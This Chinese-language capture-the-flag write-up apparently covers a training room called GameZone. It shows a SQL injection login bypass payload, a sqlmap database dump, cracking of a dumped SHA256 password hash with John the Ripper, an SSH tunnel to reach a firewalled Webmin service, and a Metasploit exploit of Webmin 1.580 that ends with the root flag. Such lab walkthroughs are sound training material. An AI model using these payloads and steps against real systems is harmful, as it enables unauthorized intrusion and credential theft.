這個房間將涵蓋?SQLi(手動利用此漏洞和通過?SQLMap),破解用戶的哈希密碼,使用?SSH?隧道揭示隱藏服務,以及使用?metasploit?payload 獲取 root 權限。
1.通過SQL注入獲得訪問權限
手工注入
輸入用戶名 嘗試使用SQL注入語句
' or 1=1 -- -
密碼留空
成功進入
使用SQLMAP工具
https://github.com/sqlmapproject/sqlmap
我們將使用 SQLMap 來導出 GameZone 的整個數據庫
使用我們之前登錄的頁面,我們將指向 SQLMap 目標的游戲評論 搜索功能
首先,我們需要使用BP攔截對搜索功能的請求
將此請求保存到文本文件中。然后我們可以將其傳遞給 SQLMap,以使用我們的 已認證的用戶會話。
sqlmap -r request.txt --dbms=mysql --dump
-r 所使用的攔截請求
--dbms 數據庫類型
--dump 嘗試輸入整個數據庫
獲得用戶agent47的密碼哈希值ab5db915fc9cea6c78df88106c6500c57f2b52901ca6c0c6218f04122c3efd14
可以使用john the ripper或者彩虹表在線查詢破解密碼
Decrypt MD5, SHA1, MySQL, NTLM, SHA256, MD5 Email, SHA256 Email, SHA512, Wordpress, Bcrypt hashes for free online
john /home/kali/Desktop/hash.txt -wordlist=/home/kali/Desktop/payloads/rockyou.txt --format=Raw-SHA256
既然有了賬號密碼 那么便可以ssh連接
2.通過反向ssh隧道暴露服務
通過反向?SSH?端口將遠程服務器主機上的端口
轉發到本地的主機和端口
使用一個名為?ss?的工具來調查主機上運行的Socket(套接字)
ss -tunpl
-t TCP協議
-u UDP協議
-n?不解析服務名稱
-p?顯示使用該套接字的進程
-l 只查看監聽的端口
我們可以看到,通過防火墻規則阻止了在端口 10000 上運行的服務(我們可以從 IPtable 列表中看到)。然而,使用 SSH 隧道,我們可以將端口暴露給我們(本地)!
從我們的本地機器,運行?ssh -L 10000:localhost:10000 <用戶名>@
完成后,在你的瀏覽器中輸入 "localhost:10000",你就可以訪問新暴露的網頁服務器。
登錄
發現CMS是webmin 1.580
查找相關exploit
使用metasploit?
設置好options
得到shell
會創建一個sessions
我們使用sessions -u <SESSION_ID>
命令將我們的命令Shell會話升級為meterpreter會話
cat root.txt
得到
flag:
a4b945830144bdd71908d12d902adeee